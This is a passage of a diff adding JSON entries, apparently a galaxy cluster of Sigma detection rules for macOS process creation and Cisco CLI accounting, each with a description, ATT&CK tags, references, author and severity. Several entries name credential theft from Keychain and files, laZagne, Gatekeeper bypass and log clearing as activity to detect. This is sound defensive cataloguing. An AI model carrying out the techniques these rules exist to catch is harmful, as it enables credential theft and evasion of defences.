"attack.t1070.002" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_macos_clear_system_logs.yml", + "author": "remotephone, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", + "uuid": "51719bf5-e4fd-4e44-8ba8-b830e7ac0731", + "value": "Creation Of A Local User Account", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" + ], + "tags": [ + "attack.t1136.001", + "attack.persistence" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_macos_create_account.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", + "uuid": "b22a5b36-2431-493a-8be1-0bae56c28ef3", + "value": "Hidden User Creation", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.002" + ], + "creation_date": "2020/10/10", + "filename": "proc_creation_macos_create_hidden_account.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects passwords dumps from Keychain", + "uuid": "b120b587-a4c2-4b94-875d-99c9807d6955", + "value": "Credentials from Password Stores - Keychain", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.001/T1555.001.md", + "https://gist.github.com/Capybara/6228955", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_creds_from_keychain.yml", + "author": "Tim Ismilyaev, oscd.community, Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects disabling security tools", + "uuid": "ff39f1a6-84ac-476f-a1af-37fcdf53d7c0", + "value": "Disable Security Tools", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_disable_security_tools.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_disable_security_tools.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of system utilities to discover files and directories", + "uuid": "089dbdf6-b960-4bcc-90e3-ffc3480c20f6", + "value": "File and Directory Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_file_and_directory_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detecting attempts to extract passwords with grep and laZagne", + "uuid": "53b1b378-9b06-4992-b972-dde6e423d2b4", + "value": "Credentials In Files", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_find_cred_in_files.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects attempts to use system dialog prompts to capture user credentials", + "uuid": "60f1ce20-484e-41bd-85f4-ac4afec2c541", + "value": "GUI Input Capture - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md", + "https://scriptingosx.com/2018/08/user-interaction-from-bash-scripts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_gui_input_capture.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1056.002" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_macos_gui_input_capture.yml", + "author": "remotephone, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration tools and activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local systeam accounts on MacOS", + "uuid": "ddf36b67-e872-4507-ab2e-46bda21b842c", + "value": "Local System Accounts Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_account.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1087.001" + ], + "creation_date": "2020/10/08", + "filename": "proc_creation_macos_local_account.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local system groups", + "uuid": "89bb1f97-c7b9-40e8-b52b-7d6afbd67276", + "value": "Local Groups Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2020/10/11", + "filename": "proc_creation_macos_local_groups.yml", + "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local or remote network services.", + "uuid": "84bae5d4-b518-4ae0-b331-6d4afd34d00f", + "value": "MacOS Network Service Scanning", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2020/10/21", + "filename": "proc_creation_macos_network_service_scanning.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the usage of tooling to sniff network traffic.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n", + "uuid": "adc9bcc4-c39c-4f6b-a711-1884017bf043", + "value": "Network Sniffing", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_sniffing.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.t1040" + ], + "creation_date": "2020/10/14", + "filename": "proc_creation_macos_network_sniffing.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", + "uuid": "234dc5df-40b5-49d1-bf53-0d44ce778eca", + "value": "Payload Decoded and Decrypted via Built-in Utilities", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml" + ], + "tags": [ + "attack.t1059", + "attack.t1204", + "attack.execution", + "attack.t1140", + "attack.defense_evasion", + "attack.s0482", + "attack.s0402" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the enumeration of other remote systems.", + "uuid": "10227522-8429-47e6-a301-f2b2d014e7ad", + "value": "Macos Remote System Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2020/10/22", + "filename": "proc_creation_macos_remote_system_discovery.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", + "uuid": "7c3b43d8-d794-47d2-800a-d277715aa460", + "value": "Scheduled Cron Task/Job", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml" + ], + "tags": [ + "attack.execution", + "attack.persistence", + "attack.privilege_escalation", + "attack.t1053.003" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_macos_schedule_task_job_cron.yml", + "author": "Alejandro Ortuno, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects attempts to use screencapture to collect macOS screenshots", + "uuid": "0877ed01-da46-4c49-8476-d49cdd80dfa7", + "value": "Screen Capture - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", + "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_macos_screencapture.yml", + "author": "remotephone, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate user activity taking screenshots" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", + "uuid": "0ed75b9c-c73b-424d-9e7d-496cd565fbe0", + "value": "Security Software Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_security_software_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", + "uuid": "b6e2a2e3-2d30-43b1-a4ea-071e36595690", + "value": "Space After Filename - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036.006" + ], + "creation_date": "2021/11/20", + "filename": "proc_creation_macos_space_after_filename.yml", + "author": "remotephone", + "level": "low", + "falsepositive": [ + "Mistyped commands or legitimate binaries named to match the pattern" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", + "uuid": "7f2bb9d5-6395-4de5-969c-70c11fbe6b12", + "value": "Split A File Into Pieces", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1030" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_macos_split_file_into_pieces.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", + "uuid": "6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4", + "value": "Suspicious Exeution via macOS Script Editor", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", + "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" + ], + "tags": [ + "attack.t1566", + "attack.t1566.002", + "attack.initial_access", + "attack.t1059", + "attack.t1059.002", + "attack.t1204", + "attack.t1204.001", + "attack.execution", + "attack.persistence", + "attack.t1553", + "attack.defense_evasion" + ], + "creation_date": "2022/10/21", + "filename": "proc_creation_macos_susp_execution_macos_script_editor.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects commandline operations on shell history files", + "uuid": "508a9374-ad52-4789-b568-fc358def2c65", + "value": "Suspicious History File Operations", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ], + "creation_date": "2020/10/17", + "filename": "proc_creation_macos_susp_histfile_operations.yml", + "author": "Mikhail Larin, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate administrative activity", + "Legitimate software, cleaning hist file" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", + "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", + "value": "Suspicious MacOS Firmware Activity", + "meta": { + "refs": [ + "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", + "https://www.manpagez.com/man/8/firmwarepasswd/", + "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/30", + "filename": "proc_creation_macos_susp_macos_firmware_activity.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects usage of system utilities to discover system network connections", + "uuid": "9a7a0393-2144-4626-9bf1-7c2f5a7321db", + "value": "System Network Connections Discovery", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1049" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_system_network_connections_discovery.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects enumeration of local network configuration", + "uuid": "58800443-f9fc-4d55-ae0c-98a3966dfb97", + "value": "System Network Discovery - macOS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1016" + ], + "creation_date": "2020/10/06", + "filename": "proc_creation_macos_system_network_discovery.yml", + "author": "remotephone, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administration activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.", + "uuid": "40b1fbe2-18ea-4ee7-be47-0294285811de", + "value": "System Shutdown/Reboot", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_shutdown_reboot.yml" + ], + "tags": [ + "attack.impact", + "attack.t1529" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_system_shutdown_reboot.yml", + "author": "Igor Fits, Mikhail Larin, oscd.community", + "level": "informational", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects the execution traces of the WizardUpdate malware. WizardUpdate is a macOS trojan that attempts to infiltrate macOS machines to steal data and it is associated with other types of malicious payloads, increasing the chances of multiple infections on a device.", + "uuid": "f68c4a4f-19ef-4817-952c-50dce331f4b0", + "value": "Potential WizardUpdate Malware Infection", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-c68a1fcbf7a3f80c87225d7fdc031f691e9f3b6a14a36754be00762bfe6eae97", + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_wizardupdate_malware_infection.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_macos_wizardupdate_malware_infection.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Detects macOS Gatekeeper bypass via xattr utility", + "uuid": "f5141b6d-9f42-41c6-a7bf-2a780678b29b", + "value": "Gatekeeper Bypass via Xattr", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.001" + ], + "creation_date": "2020/10/19", + "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml", + "author": "Daniil Yugoslavskiy, oscd.community", + "level": "low", + "falsepositive": [ + "Legitimate activities" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", + "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", + "value": "Potential XCSSET Malware Infection", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", + "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", + "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" + ], + "tags": [ + "attack.command_and_control" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_macos_xcsset_malware_infection.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "macos" + } + }, + { + "description": "Clear command history in network OS which is used for defense evasion", + "uuid": "ceb407f6-8277-439b-951f-e4210e3ed956", + "value": "Cisco Clear Logs", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_clear_logs.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "Legitimate administrators may run these commands" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Collect pertinent data from the configuration files", + "uuid": "cd072b25-a418-4f98-8ebc-5093fb38fe1a", + "value": "Cisco Collect Data", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml" + ], + "tags": [ + "attack.discovery", + "attack.credential_access", + "attack.collection", + "attack.t1087.001", + "attack.t1552.001", + "attack.t1005" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_collect_data.yml", + "author": "Austin Clark", + "level": "low", + "falsepositive": [ + "Commonly run by administrators" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Show when private keys are being exported from the device, or when new certificates are installed", + "uuid": "1f978c6a-4415-47fb-aca5-736a44d7ca3d", + "value": "Cisco Crypto Commands", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml" + ], + "tags": [ + "attack.credential_access", + "attack.defense_evasion", + "attack.t1553.004", + "attack.t1552.004" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_crypto_actions.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "Not commonly run by administrators. Also whitelist your known good certificates" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Turn off logging locally or remote", + "uuid": "9e8f6035-88bf-4a63-96b6-b17c0508257e", + "value": "Cisco Disabling Logging", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_disable_logging.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Find information about network devices that is not stored in config files", + "uuid": "9705a6a1-6db6-4a16-a987-15b7151e299b", + "value": "Cisco Discovery", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083", + "attack.t1201", + "attack.t1057", + "attack.t1018", + "attack.t1082", + "attack.t1016", + "attack.t1049", + "attack.t1033", + "attack.t1124" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_discovery.yml", + "author": "Austin Clark", + "level": "low", + "falsepositive": [ + "Commonly used by administrators for troubleshooting" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Detect a system being shutdown or put into different boot mode", + "uuid": "d94a35f0-7a29-45f6-90a0-80df6159967c", + "value": "Cisco Denial of Service", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml" + ], + "tags": [ + "attack.impact", + "attack.t1495", + "attack.t1529", + "attack.t1565.001" + ], + "creation_date": "2019/08/15", + "filename": "cisco_cli_dos.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Legitimate administrators may run these commands, though rarely." + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "See what files are being deleted from flash file systems", + "uuid": "71d65515-c436-43c0-841b-236b1f32c21e", + "value": "Cisco File Deletion", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1070.004", + "attack.t1561.001", + "attack.t1561.002" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_file_deletion.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Will be used sometimes by admins to clean up local flash space" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "See what commands are being input into the device by other people, full credentials can be in the history", + "uuid": "b094d9fb-b1ad-4650-9f1a-fb7be9f1d34b", + "value": "Cisco Show Commands Input", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.003" + ], + "creation_date": "2019/08/11", + "filename": "cisco_cli_input_capture.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Not commonly run by administrators, especially if remote logging is configured" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Find local accounts being created or modified as well as remote authentication configurations", + "uuid": "6d844f0f-1c18-41af-8f19-33e7654edfc3", + "value": "Cisco Local Accounts", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1136.001", + "attack.t1098" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_local_accounts.yml", + "author": "Austin Clark", + "level": "high", + "falsepositive": [ + "When remote authentication is in place, this should not change often" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Modifications to a config that will serve an adversary's impacts or persistence", + "uuid": "671ffc77-50a7-464f-9e3d-9ea2b493b26b", + "value": "Cisco Modify Configuration", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml" + ], + "tags": [ + "attack.persistence", + "attack.impact", + "attack.t1490", + "attack.t1505", + "attack.t1565.002", + "attack.t1053" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_modify_config.yml", + "author": "Austin Clark", + "level": "medium", + "falsepositive": [ + "Legitimate administrators may run these commands" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Various protocols maybe used to put data on the device for exfil or infil", + "uuid": "5e51acb2-bcbe-435b-99c6-0e3cd5e2aa59", + "value": "Cisco Stage Data", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml" + ], + "tags": [ + "attack.collection", + "attack.lateral_movement", + "attack.command_and_control", + "attack.exfiltration", + "attack.t1074", + "attack.t1105", + "attack.t1560.001" + ], + "creation_date": "2019/08/12", + "filename": "cisco_cli_moving_data.yml", + "author": "Austin Clark", + "level": "low", + "falsepositive": [ + "Generally used to copy configs or IOS images" + ], + "logsource.category": "accounting", + "logsource.product": "cisco" + } + }, + { + "description": "Show when a monitor or 